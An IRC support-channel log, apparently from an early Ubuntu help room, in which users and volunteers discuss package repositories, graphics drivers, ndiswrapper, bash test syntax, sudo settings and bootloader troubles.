[01:18] <bob2> fluvvell: paste your /etc/fstab to #flood
[01:18] <nalioth> MaxKyoto: you can run gnome under kdm
[01:18] <MaxKyoto> bob2: well, it's a little more complicated than that.. i'm actually using blackbox (installed via apt)
[01:19] <mrchebas> where is the best place to discuss things related to the GNU tar utility?
[01:19] <MaxKyoto> i can hack a session script together to read a file from my ~, but i was wondering if there was a more "standard" way of doing it
[01:19] <MaxKyoto> bob2: i can hack a session script together to read a file from my ~, but i was wondering if there was a more "standard" way of doing it
[01:20] <Seveas> (had warned him before about obnoxous scripts)
[01:20] <bob2> mrchebas: depends what you're trying to do; asking here is a good start
[01:20] <bob2> MaxKyoto: the standard way is to use the "Debian" gdm session script, but I'm not sure if that's in ubuntu anymore
[01:20] <fluvvell> sure bob
[01:20] <cafuego_> nalioth: We had our "hfs+ fs broken lots under Linux" issue yesterday.
[01:20] <Bad_Magic> anyone happen to know the package for beep?
[01:21] <cafuego_> babeep-media-player
[01:21] <nalioth> cafuego_: under breezy?
[01:21] <apokryphos> Seveas: noticed minor typo, on your windowsdrives script: s/Tou/You/
[01:21] <MaxKyoto> bob2: is that the one in /usr/share/xsessions (or whatever)?
[01:21] <bob2> MaxKyoto: I think so
[01:21] <mrchebas> i want to know how does gnu tar handle name coversion for files in different encodings (utf8,latin1)
[01:21] <cafuego_> nalioth: Nah, hoary (with 2.6.13-rcX kernel)
[01:21] <cafuego_> Bad_Magic: beep-media-player
[01:21] <mrchebas> suppose i tar a directory when LANG mentions encoding latin1
[01:21] <nalioth> cafuego_: really? wonder how that got in there
[01:21] <Seveas> apokryphos, fixed, thx!
[01:21] <Ng> MaxKyoto: you could add the commands to the manual gnome session editor
[01:21] <MaxKyoto> bob2: ok, i guess that's what i'll stick with for now
[01:21] <apokryphos> np ;-)
[01:21] <fluvvell> bob2:done
[01:21] <mrchebas> and i send the tar file to a friend using UTF8
[01:21] <cafuego_> nalioth: probably just the hfs+ driver
[01:21] <Bad_Magic> hmm, its not in synaptic?
[01:22] <cafuego_> !info beep-media-player
[01:22] <nalioth> cafuego_: i havent had any trouble (knocks on wood)
[01:22] <ubotu> beep-media-player: (Versatile audio player that supports Winamp skins), section universe/sound, is optional. Version: 0.9.7-1ubuntu1 (hoary), Packaged size: 893 kB, Installed size: 3712 kB
[01:22] <bob2> fluvvell: and if you replace auto with vfat, it still doesn't work
[01:22] <fluvvell> bob2:its pretty standard, I read online that there is a daemon that modifies it
[01:22] <walde> I am searching for a way to wipe the free space of a filesystem. I havent a tool that supports this function. My idea is know to create a file with dd upto all space is used and use the tool "wipe" then. Is there another or easier way
[01:22] <cafuego_> nalioth: I needed to (eventually) Install Tiger on a firefire disk, find DiskWarrior and rebuild the built-in disk overnight.
[01:22] <bob2> mrchebas: why would it care about the encoding at all?
[01:22] <MaxKyoto> ng | bob2: do you use volume control on your keyboards?
[01:22] <bob2> fluvvell: not in ubuntu there isn't
[01:22] <bob2> MaxKyoto: used to
[01:23] <fluvvell> bob2:err, brb
[01:23] <MaxKyoto> bob2: in gnome?
[01:23] <nalioth> cafuego_: i routinely run discwarrior on my macs
[01:23] <Ng> MaxKyoto: yes
[01:23] <BockBilbo> Seveas, how can i modify a page in the ubuntu wiki?
[01:23] <mrchebas> bob2: if it didn't, it would mean that the tar files have to be used in systems with the same encoding?
[01:23] <BockBilbo> the ooo2.0 beta installation script wiki page is obsolete
[01:23] <mrchebas> bob2: i am asking because i think i noticed smart behavior on the part of tar
[01:23] <bob2> MaxKyoto: yes
[01:23] <cafuego_> BockBilbo: Well, it's a wiki, fix it.
[01:24] <cafuego_> BockBilbo: Create an account, then edit the page.
[01:24] <MaxKyoto> ng | bob2: whenever i mute (via keyboard), wait a few seconds, and unmute, the volume level doesn't return... i have to pound the vol+ key
[01:24] <bob2> mrchebas: why would tar care?  it just gets a string of bytes for the filename, puts it in the tar file and dumps it out on the other side; it's up to your apps to decide how to interprete it
[01:24] <bob2> I'd think
[01:25] <Bad_Magic> figured it out, didnt have universe selected in synaptic
[01:25] <Bad_Magic> thanks!
[01:25] <Ng> MaxKyoto: not come across that, sorry
[01:25] <Ng> MaxKyoto: tried googling? ;)
[01:25] <MaxKyoto> ng: till my fingers fell off :)
[01:25] <mrchebas> bob2: that is what i would expect indeed. I was looking for an authoritative answer, since my experiments confused me.
[01:26] <Ng> hehe
[01:26] <bob2> mrchebas: I guess the tar mailing list then; savannah.gnu.org/projects/tar should linke you to it
[01:26] <bob2> MaxKyoto: I'd just file a bug then
[01:26] <MaxKyoto> ng: so your mute/unmute works fine?... oddly enough, it works ok in kde, just not gnome :-S
[01:26] <Ng> MaxKyoto: yep
[01:27] <Bad_Magic> hmm, im getting errors when i try to open files on my ntfs partition with BMP, any suggestions?
[01:27] <cafuego_> Don't use NTFS
[01:27] <mrchebas> bob2: thank you
[01:27] <MaxKyoto> bob2 | ng: is there any way to change the commands that are executed by gnome's keylistener?
[01:27] <Bad_Magic> its a windows partition
[01:27] <Bad_Magic> with my music on it
[01:27] <CookedGryphon> I hope ure happy now, i'm off to reboot in windows cos no1 could help me set up webcam support in msn
[01:28] <MaxKyoto> ntfs.... eeeeek!
[01:28] <Bad_Magic> sorry linux doesnt support gaming for shit
[01:28] <bob2> Bad_Magic: "errors" is too vague
[01:28] <Bad_Magic> =x
[01:28] <cafuego_> Then you'll get errors (or warnings) about charsets every now and then.
[01:28] <Bad_Magic> Unable to play files
[01:28] <bob2> CookedGryphon: yes, we were all hoping you wouldn't get it working!
[01:28] <MaxKyoto> bad_magic: tell that to transgaming and id games
[01:28] <Bad_Magic> hey, if they make them I will come
[01:28] <narg> Java is in haory extras, but is there a package or somesuch somewhere that lets browsers use it? (firefox, konq, etc)
[01:28] <CookedGryphon> bob2, that's jsut nasty
[01:28] <Bad_Magic> until then ill use my free copy of windows
[01:28] <cafuego_> Linus doesn't pay EA Games enough to make them port stuff. Linus is a bastard!
[01:28] <Bad_Magic> =P
[01:29] <BockBilbo> cafuego, ive created an acount in launchpad, but cannot log in in the ubuntu wiki
[01:29] <cafuego_> Bad_Magic: If you keep using your free copy of windows, they have no incentive to port games to Linux.
[01:29] <Bad_Magic> yell at ati about drivers, i already have
[01:29] <Bad_Magic> =x
[01:29] <cafuego_> Nobody forced you to buy ati <heh>
[01:29] <Bad_Magic> dell did
[01:29] <Bad_Magic> heh
[01:30] <Bad_Magic> its a laptop, sue me =\
[01:30] <cafuego_> Lots of inferior dell products come with nvidia chips too
[01:30] <Bad_Magic> not the inspiron 9100
[01:30] <Bad_Magic> when i bought it
[01:30] <cafuego_> BockBilbo: Using the right username? When I created an account, it postfixed my chosen username with -ubuntu.
[01:30] <bob2> that's whack
[01:31] <cafuego_> Again, nobody forced you to buy an inspiron 9100
[01:31] <MaxKyoto> guys.. it's been fun... thans Ng and bob2! big help!
[01:31] <Bad_Magic> yea, well desktop replacement, as a gift
[01:31] <kemik> !tell narg about java
[01:31] <Bad_Magic> cant argue
[01:31] <Bad_Magic> =P
[01:31] <cafuego_> If it sucks, give it back.
[01:31] <Bad_Magic> welp, off to tinker with wireless
[01:31] <kemik> narg:  following that will "enable" java in your browser
[01:31] <synap> heya, question here, when I do cvs commit ., I get nano as the changelog editor, how can I change this to vim ?
[01:31] <bob2> synap: export EDITOR=vim
[01:31] <cafuego_> synap: export EDITOR=vim
[01:31] <Bad_Magic> yea sure, ill be sure to hand back a $2600 laptop that cant be returned
[01:31] <Bad_Magic> sure
[01:32] <cafuego_> Bad_Magic: That's still YOUR decision, not someone else's.
[01:32] <Bad_Magic> this is true
[01:32] <bob2> hah
[01:32] <bob2> the dell x1's are nice
[01:32] <bob2> but feel a little flimsy
[01:32] <pef> bye !
[01:32] <Bad_Magic> free $2600 and no gaming on linux, or nothing
[01:32] <Bad_Magic> hmm
[01:32] <dducko> I only wanna no what took me so long to find Ubuntu.. this is great..
[01:32] <cafuego_> nothing Dell makes is nice
[01:32] <synap> ty
[01:32] <syn-ack> cafuego: agreed
[01:32] <CarlFK> I can't imagin a $2600 laptop being "too slow"
[01:33] <Bad_Magic> its not
[01:33] <syn-ack> I cant stand anything they make.
[01:33] <Bad_Magic> 2.8 p4 radeon 9700 mobility gig of ram
[01:33] <Bad_Magic> etc etc
[01:33] <Seveas> bob2, cafuegu: sudo update-alternatives --config editor
[01:33] <Seveas> ;)
[01:33] <CarlFK> so what's the problem?
[01:33] <cafuego_> Seveas: Bah
[01:33] <Bad_Magic> we are talking about drivers
[01:33] <Bad_Magic> its a radeon
[01:33] <Bad_Magic> =P
[01:33] <BockBilbo> cafuego_, the user name is the one in launchpad, right?
[01:33] <Seveas> later!
[01:33] <CarlFK> ah, just talk.  I thought there was a problem
[01:33] <cafuego_> BockBilbo: Yep.
[01:33] <bob2> $EDITOR is way more useful to set than editor or sensible-editor
[01:33] <syn-ack> Bad_Magic: ok, and you're the one that didnt do your homework to see that they dont make a mobile driver
[01:34] <BockBilbo> ok
[01:34] <syn-ack> so the only one you have to blame is you
[01:34] <Bad_Magic> well, it started as a BMP spits errors when i try to get it to load mp3s from my ntfs partition
[01:34] <kemik> Bad_Magic:  you got it all backwars; Game developers dont support Linux for shit
[01:34] <cafuego_> syn-ack: I been saying that for the past 5 mins, against increasing excuses... ;-)
[01:34] <syn-ack> The ATI 2d drivers are nice though
[01:34] <cafuego_> Bad_Magic: Can you access that partition via a shell?
[01:34] <Bad_Magic> id say... nobody supports linux for shit because it holds next to nothing in the desktop market (compared to M$)
[01:34] <Bad_Magic> yes
[01:34] <syn-ack> cafuego: heh, I figured as much
[01:34] <kemik> syn-ack:  2d :/ heh.. those *Better* be good
[01:35] <Seveas> Bad_Magic: To make xmms or beep-media-player actually play things, change the audio output plugin to eSound
[01:35] <cafuego_> Bad_Magic: Can you copy one of the mp3's to /tmp without problems?
[01:35] <Bad_Magic> let me check
[01:35] <BockBilbo> by the way, i need one sec help to finish the updated script for getting ooo2.0 beta 2
[01:35] <BockBilbo> cafuego, do you know bash shell scripting?
[01:35] <Bad_Magic> hmm
[01:35] <SymGeosis> Anybody have any idea how to fix this error in Totem-gstreamer? "no url handler for dvd://"
[01:35] <Bad_Magic> could be a codec thing
[01:35] <cafuego_> BockBilbo: a bit
[01:35] <Bad_Magic> m4a = ?
[01:36] <SymGeosis> Dvd's worked before I recently did a clean install on my new laptop.
[01:36] <cafuego_> Bad_Magic: copy protected mpeg4 audio
[01:36] <cafuego_> (most olikely)
[01:36] <NoUse> !tell SymGeosis about dvd
[01:36] <SymGeosis> NoUse, I know. I already have this. Note the "DVD's worked before" part.
[01:36] <BockBilbo> me too... do you know how to check if the 3rd argument ($3) exists?
[01:37] <SymGeosis> DVD's work in gxine but I'm not a big fan of gxine and don't want to use it if I don't have to,
[01:37] <cafuego_> test -n $3
[01:37] <CarlFK> [[$3] ] 
[01:37] <cafuego_> See 'man test' for more info :-)
[01:38] <NoUse> SymGeosis totem uses gstreamer so get the gstreamer dvd plugin
[01:38] <CarlFK> test seems a bit over kill
[01:38] <cafuego_> nice and portable to 'sh' though
[01:39] <SymGeosis> NoUse, which I already have.
[01:40] <cafuego_> Bad_Magic: You'll be wanting 'w32codecs'
[01:40] <dell500> anyone know how to find out how to get ndiswrapper to work?
[01:40] <cafuego_> !ndiswrapper
[01:40] <ubotu> methinks ndiswrapper is at https://wiki.ubuntu.com/HowToSetUpNdiswrapper
[01:40] <dell500> wow, that was redundant
[01:40] <MaxKyoto> bob2 | ng: one more question for ya... do you know how to remove the time limit for using sudo without a password?
[01:41] <CarlFK> MaxKyoto - set it to 1 year
[01:41] <bob2> or use NOPASSWD
[01:41] <gurubie> I'm new to ubuntu and from Mepis. I'm on breezy 5.10 and can someone explain the deal with the ubuntu vs. Synaptic package managers? I added several "universe" sources so I could find the apps I needed. I did the ubuntu updates (all done) but it said I need to do a smart (dist) upgrade in synaptic. Now in synaptic it wants to remove two libs, add a lot and update alot. SHould I do it?
[01:41] <bob2> which you will regret eventually
[01:41] <CarlFK> heh
[01:41] <bartp> hi
[01:41] <cafuego_> MaxKyoto: Check 'man sudo' for options.
[01:41] <bob2> gurubie: don't use breezy if you don't understand how apt/synaptic work
[01:41] <MaxKyoto> carlfk: how do you do option 1, i've tried option 2
[01:41] <nalioth> gurubie: i'd recommend you use only official ubuntu repos
[01:41] <dell500> that link tells me to use ' lspci ' to find out the chipset of my card, it's a belkin wireless desktop card
[01:42] <nalioth> gurubie: using other repos (debian esp) will lead to trouble
[01:42] <gurubie> ...and is "universe" debian reps?
[01:42] <PHPWannabe> Does anyone know if Ubuntu supports Lexmark printers?  I remember having trouble with this a while back.
[01:42] <spine55> does anyone know anything about cacti?
[01:42] <bob2> gurubie: often libs get replaced by new ones, and have to be removed and the new one installed for thinks to upgrade
[01:42] <fluvvell> bob2: (re-floppy) thanks, I'm sure I'd tried it on my other machine and it got changed back. It works, and survives a reboot so I'm happy with that
[01:42] <NoUse> SymGeosis you said you did a clean install, are you sure you got all your DVD related packages reinstalled?
[01:43] <CarlFK> "sudo will insult users when they enter an incorrect pw" !!
[01:43] <cafuego_> dell500: That links says way more stuff.
[01:43] <spine55> I'm having a problem with logging into the web interface the admin user
[01:43] <dell500> well ya, i know
[01:43] <bob2> CarlFK: heh, have you ever used slay without root priveleges?
[01:44] <cafuego_> dell500: There you go then.
[01:44] <dell500> cafuego, once i find out what chipset, which i think is a Broad Com (BCM) 4318 chipset, but i'm not sure because there are also drivers for the belkin
[01:44] <dell500> lol
[01:44] <nalioth> bob2: that must be fun
[01:44] <CarlFK> timestamp_timeout -- If set to a value less than 0 the users timestamp will never expire.
[01:44] <MaxKyoto> is NOPASSWD set in sudoers?
[01:44] <gurubie> Yes (and thank you much. I have I GOOD attitude) and I notice a change to mesa (looks like). Prob is, direct 3d (DRI) isn't working.
[01:44] <cafuego_> "These files can be obtained from your cards (Windows) instalation CD or downloaded from the card manufacturers website"
[01:45] <BockBilbo> cafuego, and do you know how to check if the argument given is equals to a string? for example, if $3 is equals to 'en'
[01:45] <BockBilbo> ?
[01:45] <kbob717> can u help me install macromedia flash player please?
[01:45] <SymGeosis> NoUse, yes. I have double checked them. I took a nice look through Synaptic. Totem accesses libdvdcss but then fails.
[01:46] <NoUse> SymGeosis do you have a specific error message?
[01:46] <cafuego_> BockBilbo: Again, 'man test'
[01:46] <gurubie> So if I'm correct this new 5.1 (Breezy) is in beta "offical" ubuntu. Then is there newer beta stuff? Then is universe basically the debian stuff that might break?
[01:46] <syn-ack> kbob717: Thats a non supported item. They have a help forum
[01:46] <MaxKyoto> cafuego: in bash "if [ $3 == "$STR" ] ; then echo "match" ; fi
[01:46] <bob2> kbob717: wiki.ubuntu.com/RestrictedFormats
[01:46] <gurubie> ....or is all this new stuff from "universe"?
[01:46] <SymGeosis> The only other one that I get is "No accelerated IMDCT transform found" which google tells me is fine.
[01:46] <dell500> cafuego, thanks :)
[01:47] <stoeptegel> is it possible to change permissions on a ntfs filesystem?
[01:47] <BockBilbo> sorry
[01:47] <gurubie> What I mean by GOOD attitude is please don't miss read my word as negitive. ubuntu is great.
[01:47] <thrush> stoeptegel, you want to write to ntfs? or just access readonly
[01:47] <MaxKyoto> stoeptegel: not without fire & brimstone
[01:48] <Bad_Magic> anyone help me with ndiswrapper?
[01:48] <stoeptegel> thrush: just read and execute
[01:49] <stoeptegel> i think :D
[01:49] <NoUse> SymGeosis when you say Totem fails... locks? crashes?
[01:49] <nalioth> stoeptegel: writing to NTFS is a good first step to an all linux system
[01:49] <bob2> gurubie: breezy is not "beta", it's the development version of ubuntu, updated every 15 minutes or so, and is generally fairly broken.  main is supported by canonical for security fixes, etc, universe is not; their quality is fairly even.
[01:49] <cafuego_> nalioth ;-)
[01:49] <Bad_Magic> lol
[01:49] <Bad_Magic> ^^
[01:49] <SymGeosis> NoUse, negative. It just gives me the pop-up about "No handler for DVD://"
[01:50] <kbob717> kthx
[01:50] <stoeptegel> nalioth: i know i can't write there, but i'am not even able to list the files at the moment...
[01:50] <intelikey> lilo error "Fatal: First sector of /dev/sda1 doesn't have a valid boot signature" any body here know how to fix this ?
[01:50] <Bad_Magic> try mounting it?
[01:50] <Bad_Magic> =x
[01:50] <cafuego_> stoeptegel: That's a matter of apssing the correct 'uid', 'gid' and 'umask' options.
[01:50] <nalioth> stoeptegel: ubotu loves you
[01:51] <thrush> stoeptegel, http://ubuntuguide.org/#automountntfs
[01:51] <NoUse> well if you have gstreamer0.8-dvd installed I'm out of ideas, you could always try totem-xine
[01:51] <nalioth> thrush: please dont do that
[01:51] <thrush> no one like the ubuntuguide =)
[01:51] <dell500> def no files on there
[01:51] <reiki> YES! I just printed directly on a CD using Epson R200 and the Turboprint drivers
[01:51] <gurubie> bob2, Thank bob that helps. So this "development" install CD (and HD install) is "generally fairly broken" and similar in trouble as "universe"? Plus neither have security updates? Do they need it?
[01:52] <SymGeosis> NoUse, totem-xine is works questionably for me. The only GNOME player that seems to work fine for me is gXine and Xine-UI.
[01:52] <reiki> one step farther away from having to boot back to WinXP... I are happy
[01:52] <bob2> gurubie: no, you're confused, universe is just a section within breezy, like main and contrib in Debian
[01:52] <NoUse> SymGeosis what about mplayer?
[01:52] <bob2> gurubie: these are "if you don't know, don't use it" questions, btw
[01:53] <bob2> gurubie: main nominally has security updates for the development branch, unverse does not
[01:53] <cafuego_> gurubie: Yes, breezy is currently too broken for normal people to use.
[01:53] <SymGeosis> NoUse, the last time I tried mplayer for DVD's on this box it crashed on me.
[01:55] <cafuego_> though oowriter2 works again today
[01:56] <intelikey> lilo error "Fatal: First sector of /dev/sda1 doesn't have a valid boot signature" any body here know how to fix this ?
[01:56] <cafuego_> intelikey: rescue cd
[01:56] <gurubie> I really impressed with Breezy (updated too.) The thing is, it seems there are things I want in universe. Universe now sounds (and you're saying clearly) lacks security (I'm not doing a sever BTW) ans "don't use it".
[01:56] <SymGeosis> intelikey, fsck from a rescue/live cd.
[01:56] <treitter> so Breezy's a little more stable now? :)
[01:57] <cafuego_> treitter: neither oo2 nor firefox just segfaulted... :-)
[01:57] <TylerE> gurubie: It all depends
[01:57] <intelikey> hehhe ok but that was a clean install.   it seems that installing ubuntu to an scsi drive is buggy
[01:57] <bob2> gurubie: only nalioth said not to use it
[01:57] <TylerE> gurubie: There's just WAY too much software in universe to make any statements about security
[01:57] <bob2> gurubie: it's fine to use, as long as you understand what you're doing
[01:57] <TylerE> gurubie: You need to access your own situation
[01:57] <bob2> intelikey: no, it's not.  perhaps on your hardware it is, tho; please file a bug.
[01:58] <Xanthus7> can someone help me with a video card issue
[01:58] <SymGeosis> intelikey, I didn't even know that the Ubuntu install CDs had the option for LILO...
[01:58] <gurubie> Let's see. I wanted to load up TORCS (and they say no good 3D game in open software, huh) but I have several problems. One, DRI. Two TORCS will not install due to an uninstallabe lib.
[01:58] <gurubie> bob2, OK sorry bob2. My bad.
[01:58] <TylerE> gurubie: might need to add multiverse to your sources.list
[01:58] <abarbaccia> hey - how do i play .asf files?  what do i need to do?
[01:59] <TylerE> gurubie: I just tried it, installs fine here (Hoary, AMD64)
[01:59] <Xanthus7> I have a Radeon 9600 XT and cannot get 3d to load
[01:59] <bob2> abarbaccia: FAQ, wiki.ubuntu.com/RestrictedFormats
[01:59] <bob2> Xanthus7: FAQ, wiki.ubuntu.com/BinaryDriverHowto
[01:59] <bob2> gurubie: welcome to breezy!
[01:59] <gurubie> bob2, Well I learn by doing. I'm gurubie for a reason. One part guru. one part Newbie (aren't we all) :)
[01:59] <bob2> gurubie: if you want things to be instalable, use hoary
[02:00] <Xanthus7> I have followed the wiki instructions to the letter and cannot get 3d to load
[02:00] <TylerE> Xanthus7: That's not surprising. Don't get your hopes up. ATI Linux Drivers == basically unusable for anything beyond simple 2d
[02:00] <intelikey> SymGeosis they install grub and misnumber all the drives makeing it a pain on the first boot.    so after i got it booted i did "apt-get remove grub && apt-get install lilo"   but i can't get lilo to actually install cause of what ever grub did....
[02:00] <Xanthus7> They work fine in FC4
[02:00] <gurubie> TylerE, Hey, good to know. Maybe I should drop back to it but I don't like going back.
[02:01] <bob2> gurubie: or send patches for breezy; it is the development version, things are going to be broken
[02:02] <signbarn> I just formatted my NTFS drive to ext3. How do I get GRUB to know Windows no longer exists and to boot directly into Ubuntu?
[02:02] <NoUse> SymGeosis I've never used totem, I always use mplayer
[02:02] <SymGeosis> intelikey, this is curious. It misnumbered the drives? I don't mean to be insulting but you're sure about that?
[02:02] <intelikey> grub would be great, IF it used real addressing in place of that screwy numbering system that reads bios.... change bios and grub is useless...  lilo doesn't have that problem.
[02:02] <intelikey> yes SymGeosis i'm sure
[02:02] <gurubie> I am of cource aware that I jumped back into ubuntu with the "debelopment" version. I wasn't too impressed with Warty on my hardware then.
[02:02] <SymGeosis> NoUse, before I switched over to linux I always used mplayer. Since I don't want to compile my own recent version of mplayer-mozilla plugin I've stuck with Totem and Xine except for that one time I tried mplayer.
[02:02] <TylerE> intelikey: grub sucks less than lilo imo
[02:03] <TylerE> intelikey: I've actually always liked FreeBSDs bootloader. NO configuration, it just discovers what you have that's bootable
[02:03] <SymGeosis> TylerE, I agree.
[02:04] <intelikey> you are free to have that opinion about lilo/grub TylerE, as much as i am free to have the opisite opinion
[02:04] <gusto5> hello
[02:04] <reiki> does K3B screw up .ICEauthority every time you run it? Or only the FIRST time you run it? Should it be started with gksudo each time I run it?
[02:04] <cafuego_> lilo is not flexible; at least with grub you can access the FS and load up another kernel.
[02:04] <gurubie> bob2, Indeed, I am trying ubuntu again for just that reason. More newer overall choices (than Debian or Mepis so far maybe). So it's nice to here that Hoary (Lord what a name)  might fill the bill or maybey Brezzy as it's relesed as "main".
[02:04] <TylerE> cafuego: exactly!
[02:04] <cafuego_> And lilo has MASSIVE ISSUES with scsi+ide systems
[02:05] <TylerE> cafuego: Plus you can do fun stuff like boot bootable CD images off a harddrive
[02:05] <bob2> gurubie: no, you're stil confused
[02:05] <intelikey> for what i'm using it for.  grub is way to complicated.  lilo after installed is perfect.   (for my use)
[02:05] <cafuego_> To the point where my scsi+ide server needed to boot a kernel of a damn FLOPPY because lilo couldn't boot it.
[02:05] <bob2> gurubie: you've used apt before?  you know what repository sections are?
[02:06] <SymGeosis> TylerE, I just got tired of compiling and having to tweak everything. Plus ATI doesn't have drivers for FreeBSD...
[02:06] <TylerE> SymGeosis: yea
[02:06] <nalioth> SymGeosis: you can use VESA
[02:06] <TylerE> erm
[02:06] <BockBilbo> one last question cafuego, im trying to make an OR inside an IF contition...
[02:06] <gurubie> bob2, Oh yes.
[02:06] <BockBilbo> whats the way to do it? || doesnt seen to work
[02:07] <cafuego_> BockBilbo: Bracket it properly
[02:07] <SymGeosis> nalioth, those drivers are rather buggy with this card that takes special ATI drivers that differer from all there others.
[02:07] <bob2> gurubie: breezy is a release, like sid or sarge.  main is just a section within each
[02:07] <nalioth> SymGeosis: ah, you are running hot stuff, then
[02:07] <cafuego_> BockBilbo: cmd1 || cmd2  ought to work fine, though
[02:07] <bob2> SymGeosis: if the driver in breezy don't work, please do file a bug
[02:08] <BockBilbo> ok
[02:08] <TylerE> SymGeosis: I pretty much stay away from ATI stuff these days
[02:08] <gurubie> bob2, OK right. I just wanted to refer to the supported version or what ever it's called.
[02:08] <bob2> gurubie: you're still mixing things up
[02:08] <SymGeosis> bob2, I haven't tried Breezy. Besides, the current drivers in the repositories don't have the driver that my laptop requires. It only has the generic one.
[02:09] <TylerE> SymGeosis: My last system had a 9600 in it. The thing never really worked well except in windows
[02:09] <gurubie> When is brezzy due (out of development)?
[02:09] <crimsun> october
[02:09] <bob2> just use "stable" instead of "supported"
[02:09] <SymGeosis> TylerE, the drivers are getting better with each release. Plus the dev team members have been incredibly helpful.
[02:09] <reiki> is it my imagination or does Ubuntu (and maybe linux in general) download faster than a windoze box? I'm redownloading Hoary iso and it sure seems to be going faster. 685KB/sec
[02:09] <rob_p> BockBilbo:  Don't forget to use double "[[" and "] ] " if you are using multiple conditions such as || and &&, etc.
[02:09] <gurubie> I could do a lot to report bugs in the mean time.
[02:09] <bob2> SymGeosis: yes, indeed, but if you told someone with the power to include them in ubuntu, it could work out of the box from october onwards
[02:10] <SymGeosis> bob2, I filed a report in  Bugzilla some time ago...
[02:10] <TylerE> SymGeosis: Seeing as how as of 6 months ago, when I last tried it, the ATI drivers were basically dog turds, I fail to see how the situation could NOT improve. I'm still skeptical. In any case, the NVIDIA drivers are pretty much flawless.
[02:10] <bob2> except for random crashes
[02:10] <bob2> and being binary-only
[02:10] <bob2> etc
[02:11] <SymGeosis> TylerE, if I remember correctly, Nvidia drivers don't use DRI.
[02:11] <bob2> yup
[02:11] <bob2> DRI was put under a binary-driver-compatible license so they could use it
[02:11] <bob2> but no!
[02:11] <SymGeosis> TylerE, plus for dual monitor support they require Xinerama (or however the hell it's spelled) which isn't as efficient as a hardware solution (which ATI uses)
[02:11] <gurubie> bob2, Right, stable it is. That's now Hoary. So the question becomes, what will I miss if I fall back to the stable release in order to move forward and install a few select packages from Universe in order to obtain smoth sailing?
[02:11] <HrdwrBoB> SymGeosis: er no they don't
[02:11] <reiki> ok you guys are scarin me... if I build a new box, do I want to build it with a PCIexpress 256MB nVidia-based card?  or something else?
[02:12] <bob2> gurubie: "fall back" = reinstall
[02:12] <HrdwrBoB> SymGeosis: and the difference is SFA
[02:12] <TylerE> SymGeosis: NVidia DOES do DRI, it just doesn't use the X stuff
[02:12] <HrdwrBoB> reiki: nvidia is the best bet
[02:12] <TylerE> SymGeosis: The effect is the same any way
[02:12] <TylerE> SymGeosis: In any case the performace is pretty much the same as windows.
[02:12] <TylerE> SymGeosis: Because the drivers are the same
[02:12] <reiki> HrdwrBoB:  *whew!* :)
[02:12] <TylerE> SymGeosis: Except a little bit of glue code
[02:13] <HrdwrBoB> reiki: it's not entirely optimal, but for the most part, it works
[02:14] <reiki> HrdwrBoB: well by the time I actually get to where I can buy all the parts.. hopefully there will be improvements :)
[02:14] <titaniumone> what's considered the best bittorrent client for ubuntu? i'm using azureus on Windows XP and i like it but i want to start using bittorrent on my linux box instead. P3 450mhz / 256mb of ram, so i don't have a lot of resources.
[02:14] <dducko> has anyone here installed NWN on ubuntu?
[02:14] <reiki> ok... tossing a coin.... GnomeBaker or K3B to burn iso? They both about equal? one better?
[02:14] <gurubie> SymGeosis, Well my nvidia gpu works DRI (in Mepis dare I say) but I'm surprised DRI doesn't work (yet) in Breazy. If I understand you all correctly, my DRI should work with Hoary?
[02:14] <bob2> titaniumone: bittornado
[02:14] <CarlFK> kb3 has a better splash screen
[02:15] <bob2> reiki: don't bother, nautilus burns iso files just fine
[02:15] <bob2> reiki: righ click, select write to cd
[02:15] <dell500> !ndiswrapper
[02:15] <ubotu> well, ndiswrapper is at https://wiki.ubuntu.com/HowToSetUpNdiswrapper
[02:15] <reiki> bob2: wow.... excellent... thanks
[02:16] <SymGeosis> gurubie, I'd like to be able to give you an answer however I don't have any Nvidia hardware as of now. Though judging from what the others have said, I'd say "yes."
[02:16] <Cylla> <-- newbie.. I have kubuntu and I can't for the life of me figure out how to start firefox. I've confirmed that its installed..
[02:16] <bob2> #kubuntu
[02:16] <bob2> or run "mozilla-firefox" from the run program dialog
[02:16] <Cylla> bob2:ty
[02:18] <Cylla> bob2: hmm, that does not work.. I attempted to ask in #kubuntu first but got no answer...
[02:18] <CarlFK> gurubie - did you do https://wiki.ubuntu.com/BinaryDriverHowto/Nvidia
[02:18] <crube> Cylla,  you can make a shortcut to you KDE panel from the panel settings. It shouldn't be hard. You'll just have to name it, and add "mozilla-firefox" to the command section
[02:18] <bob2> "does not work"?
[02:18] <bob2> do you have the mozilla-firefox package installed?
[02:18] <SymGeosis> Cylla, try typing moz and then tab.
[02:18] <TylerE> Cylla: How did you confirm that it is installed?
[02:18] <bob2> or did you go install the tarball to some random place?
[02:18] <Cylla> yes..
[02:18] <dell500> for some reason, sudo modprobe ndiswrapper gives me an error
[02:18] <anomaly> dpkg -L |grep mozilla ?
[02:18] <dell500> FATAL: Error inserting ndiswrapper (/lib/modules/2.6.10-5-386/kernel/drivers/net/ndiswrapper/ndiswrapper.ko): Operation not permitted
[02:19] <bob2> go ndiswrapper
[02:19] <treitter> mmm... dist-upgrade :)
[02:19] <bob2> ask on their mailing list
[02:19] <SymGeosis> dell500, try insmod.
[02:19] <anomaly> treitter welcome then
[02:19] <gurubie> I do want to point out the I am extreamly impressed with the manner that this "development" Brezzy set up my TI wireless G card. I don't even know if it used ndiswarpper or another native type module but it just works. That excellent and most important as a first step. Can I expect it to work the same with Hoary?
[02:20] <dell500> sudo insmod ndiswrapper ??
[02:20] <dell500> nope
[02:20] <crimsun> gurubie: maybe. If Breezy currently works, then I'd stick with it.
[02:20] <bob2> don't ever use insmod
[02:20] <gurubie> CarlFK, Thanks, i'll check
[02:20] <cafuego_> No, don't try insmod.
[02:20] <bob2> if you get that error with sudo modprobe, ask on the ndiswrapper mailing list
[02:20] <cafuego_> insmod is meant to be run by the KERNEL, not you.
[02:20] <dell500> i'm not sure why it might not let me modprobe it though
[02:20] <cafuego_> dell500: That error would normally indicate an incorrect driver.
[02:21] <SymGeosis> cafuego, I hardly see how that makes any difference. Could you extrapolate?
[02:21] <Cylla> TylerE: I confirmed with Kynaptic..
[02:21] <bob2> insmod doesn't know to load dependant modules
[02:21] <bob2> so it will give you symbol errors sometimes
[02:22] <bob2> and there's no reason to run it
[02:22] <crube> Cylla,  what is the exact package you confirmed from kynaptic?
[02:22] <dell500> cafuego, k, well i did lspci and found the card chipset (broadcom 4318 rev 02) but it's a belkin F5D7000 which is on the ndiswrapper site as well
[02:22] <bob2> dell500: ask on the ndiswrapper mailing list, and include the output of lspci
[02:22] <dell500> but none of the revisions fit the description to what my comp is doing
[02:22] <dell500> ok
